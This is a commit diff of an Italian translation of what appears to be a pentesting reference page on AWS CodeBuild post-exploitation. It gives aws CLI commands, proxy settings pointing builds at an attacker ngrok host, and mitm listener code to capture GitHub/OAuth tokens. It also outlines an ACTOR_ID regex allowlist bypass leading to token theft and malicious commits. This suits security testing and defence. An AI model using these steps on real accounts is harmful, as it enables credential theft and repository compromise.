Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation

This commit is contained in:
Translator
2026-01-18 15:12:46 +00:00
parent 0e3eae5935
commit bbfb1563a9
@@ -4,45 +4,45 @@
## Recuperare i Token Configurati di Github/Bitbucket
Prima di tutto, controlla se ci sono credenziali di origine configurate che potresti leak:
Per prima cosa, verifica se sono presenti source credentials configurate che potresti leak:
```bash
aws codebuild list-source-credentials
```
### Via Docker Image
Se scopri che l'autenticazione, ad esempio, a Github è impostata nell'account, puoi **esfiltrare** quell'**accesso** (**token GH o token OAuth**) facendo in modo che Codebuild **utilizzi un'immagine docker specifica** per eseguire la build del progetto.
Se trovi che l'autenticazione, per esempio a Github, è configurata nell'account, puoi **exfiltrate** quel **access** (**GH token or OAuth token**) facendo in modo che Codebuild **use an specific docker image** per eseguire il build del progetto.
A questo scopo potresti **creare un nuovo progetto Codebuild** o modificare l'**ambiente** di uno esistente per impostare l'**immagine Docker**.
Per questo scopo puoi **create a new Codebuild project** o modificare l'**environment** di uno esistente per impostare la **Docker image**.
L'immagine Docker che potresti utilizzare è [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Questa è un'immagine Docker molto basilare che imposterà le **variabili d'ambiente `https_proxy`**, **`http_proxy`** e **`SSL_CERT_FILE`**. Questo ti permetterà di intercettare la maggior parte del traffico dell'host indicato in **`https_proxy`** e **`http_proxy`** e di fidarti del certificato SSL indicato in **`SSL_CERT_FILE`**.
La Docker image che puoi usare è [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Questa è una Docker image molto basica che imposterà le **env variables `https_proxy`**, **`http_proxy`** e **`SSL_CERT_FILE`**. Questo ti permetterà di intercettare la maggior parte del traffico dell'host indicato in **`https_proxy`** e **`http_proxy`** e di fidarti del certificato SSL indicato in **`SSL_CERT_FILE`**.
1. **Crea e carica la tua immagine Docker MitM**
- Segui le istruzioni del repo per impostare il tuo indirizzo IP proxy e impostare il tuo certificato SSL e **costruire l'immagine docker**.
- **NON IMPOSTARE `http_proxy`** per non intercettare le richieste all'endpoint dei metadati.
- Potresti usare **`ngrok`** come `ngrok tcp 4444` per impostare il proxy sul tuo host.
- Una volta che hai costruito l'immagine Docker, **caricala in un repo pubblico** (Dockerhub, ECR...)
2. **Imposta l'ambiente**
- Crea un **nuovo progetto Codebuild** o **modifica** l'ambiente di uno esistente.
- Imposta il progetto per utilizzare l'**immagine Docker precedentemente generata**.
1. **Crea & Carica la tua Docker MitM image**
- Segui le istruzioni del repo per impostare il tuo indirizzo IP del proxy e il tuo certificato SSL e **build the docker image**.
- **DO NOT SET `http_proxy`** per non intercettare le richieste all'endpoint metadata.
- Puoi usare **`ngrok`** come `ngrok tcp 4444` per impostare il proxy sul tuo host
- Una volta che hai la Docker image costruita, **upload it to a public repo** (Dockerhub, ECR...)
2. **Imposta l'environment**
- Crea un **new Codebuild project** o **modifica** l'**environment** di uno esistente.
- Imposta il progetto per usare la **previously generated Docker image**
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
3. **Imposta il proxy MitM nel tuo host**
3. **Imposta il MitM proxy sul tuo host**
- Come indicato nel **repo di Github**, potresti usare qualcosa come:
- Come indicato nel **Github repo** puoi usare qualcosa come:
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
> [!TIP]
> La **versione di mitmproxy utilizzata era la 9.0.1**, è stato segnalato che con la versione 10 questo potrebbe non funzionare.
> La **versione di mitmproxy utilizzata è stata 9.0.1**, è stato segnalato che con la versione 10 questo potrebbe non funzionare.
4. **Esegui la build e cattura le credenziali**
4. **Esegui la build & cattura le credenziali**
- Puoi vedere il token nell'intestazione **Authorization**:
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
Questo potrebbe essere fatto anche dalla aws cli con qualcosa come
Questo p essere fatto anche dall'aws cli con qualcosa del tipo
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
@@ -71,17 +71,17 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
# Start the build
aws codebuild start-build --project-name my-project2
```
### Via insecureSSL
### Tramite insecureSSL
I progetti **Codebuild** hanno un'impostazione chiamata **`insecureSsl`** che è nascosta nel web e puoi cambiarla solo dall'API.\
Abilitando questo, permette a Codebuild di connettersi al repository **senza controllare il certificato** offerto dalla piattaforma.
I progetti **Codebuild** hanno un'impostazione chiamata **`insecureSsl`** che è nascosta nella console web e può essere modificata solo tramite l'API.\
Abilitandola, permette a Codebuild di connettersi al repository **senza verificare il certificato** offerto dalla piattaforma.
- Prima devi enumerare la configurazione attuale con qualcosa come:
- Per prima cosa è necessario enumerare la configurazione attuale con qualcosa del tipo:
```bash
aws codebuild batch-get-projects --name <proj-name>
```
- Quindi, con le informazioni raccolte puoi aggiornare l'impostazione del progetto **`insecureSsl`** a **`True`**. Di seguito è riportato un esempio del mio aggiornamento di un progetto, nota il **`insecureSsl=True`** alla fine (questo è l'unica cosa che devi cambiare dalla configurazione raccolta).
- Inoltre, aggiungi anche le variabili d'ambiente **http_proxy** e **https_proxy** che puntano al tuo tcp ngrok come:
- Poi, con le informazioni raccolte puoi aggiornare l'impostazione del progetto **`insecureSsl`** a **`True`**. Di seguito un esempio del mio aggiornamento di un progetto; nota **`insecureSsl=True`** alla fine (questa è l'unica cosa che devi cambiare rispetto alla configurazione raccolta).
- Inoltre, aggiungi anche le variabili d'ambiente **http_proxy** e **https_proxy** puntando al tuo tcp ngrok come:
```bash
aws codebuild update-project --name <proj-name> \
--source '{
@@ -115,7 +115,7 @@ aws codebuild update-project --name <proj-name> \
]
}'
```
- Quindi, esegui l'esempio di base da [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) nella porta indicata dalle variabili proxy (http_proxy e https_proxy)
- Poi, esegui l'esempio di base da [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) sulla porta indicata dalle variabili proxy (http_proxy e https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
@@ -128,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Infine, clicca su **Build the project**, le **credenziali** saranno **inviate in chiaro** (base64) alla porta mitm:
- Infine, clicca su **Build the project**, le **credentials** saranno **inviate in clear text** (base64) alla porta mitm:
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
### ~~Via protocollo HTTP~~
### ~~Tramite protocollo HTTP~~
> [!TIP] > **Questa vulnerabilità è stata corretta da AWS in qualche momento della settimana del 20 febbraio 2023 (penso venerdì). Quindi un attaccante non può più abusarne :)**
> [!TIP] > **Questa vulnerabilità è stata corretta da AWS in qualche momento della settimana del 20 Feb 2023 (penso venerdì). Quindi un attaccante non può più abusarne :)**
Un attaccante con **permessi elevati su un CodeBuild potrebbe rivelare il token Github/Bitbucket** configurato o se i permessi sono stati configurati tramite OAuth, il **token OAuth temporaneo utilizzato per accedere al codice**.
Un attaccante con **permessi elevati su un CodeBuild potrebbe causare il leak del token Github/Bitbucket** configurato oppure, se i permessi sono stati configurati via OAuth, del **token OAuth temporaneo usato per accedere al codice**.
- Un attaccante potrebbe aggiungere le variabili ambientali **http_proxy** e **https_proxy** al progetto CodeBuild puntando alla sua macchina (ad esempio `http://5.tcp.eu.ngrok.io:14972`).
- Un attaccante potrebbe aggiungere le variabili d'ambiente **http_proxy** e **https_proxy** al progetto CodeBuild puntando alla sua macchina (per esempio `http://5.tcp.eu.ngrok.io:14972`).
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
- Poi, cambiare l'URL del repository github per utilizzare HTTP invece di HTTPS, ad esempio: `http://github.com/carlospolop-forks/TestActions`
- Poi, eseguire l'esempio base da [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) nella porta indicata dalle variabili proxy (http_proxy e https_proxy)
- Poi, cambia l'URL del repo github per usare HTTP invece di HTTPS, per esempio: `http://github.com/carlospolop-forks/TestActions`
- Poi, esegui l'esempio base da [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) sulla porta indicata dalle variabili proxy (http_proxy e https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
@@ -158,15 +158,32 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Successivamente, fai clic su **Build the project** o avvia la build dalla riga di comando:
- Successivamente, fai clic su **Build the project** oppure avvia la build dalla riga di comando:
```sh
aws codebuild start-build --project-name <proj-name>
```
- Infine, le **credenziali** saranno **inviate in chiaro** (base64) alla porta mitm:
- Finally, the **credentials** will be **sent in clear text** (base64) to the mitm port:
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
> [!WARNING]
> Ora un attaccante sarà in grado di utilizzare il token dalla sua macchina, elencare tutti i privilegi che ha e (ab)usare più facilmente rispetto all'utilizzo diretto del servizio CodeBuild.
> Ora un attaccante potrà usare il token dalla sua macchina, elencarne tutti i privilegi e (ab)usarli più facilmente rispetto all'uso diretto del servizio CodeBuild.
## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds)
I webhook GitHub di CodeBuild mal configurati che usano regex `ACTOR_ID` non ancorate permettono a PR *non attendibili* di avviare build privilegiati. Se l'allowlist è del tipo `123456|7890123` senza `^`/`$`, qualsiasi ID che contenga una di quelle sottostringhe corrisponde. Poiché gli ID utente di GitHub sono sequenziali, un attaccante può gareggiare per registrare un ID “eclipsing” (una superstringa di un ID fidato) e innescare la build.
**Exploit path**
1. Trova progetti CodeBuild pubblici che espongono webhook filters ed estrai una allowlist `ACTOR_ID` non ancorata.
2. Ottieni un GitHub ID eclipsing:
- Campiona il contatore globale degli ID creando/eliminando org GitHub (gli org IDs condividono lo stesso pool).
- Pre-stagia molte creazioni di manifest per GitHub App e attiva gli URL di conferma quando il contatore è entro ~100 ID dal target per registrare a raffica un bot ID contenente la sottostringa fidata.
3. Apri una PR dall'account eclipsing; la regex corrisponde alla sottostringa e la build privilegiata viene eseguita.
4. Usa build RCE (es. hook di installazione delle dipendenze) per dumpare la memoria di processo che gestisce la GitHub credential e recuperare il PAT/OAuth token.
5. Con lo scope `repo` del token, invita il tuo account come collaborator/admin e push/approva commit malevoli o esfiltra segreti.
## References
- [Wiz: CodeBreach AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
{{#include ../../../../banners/hacktricks-training.md}}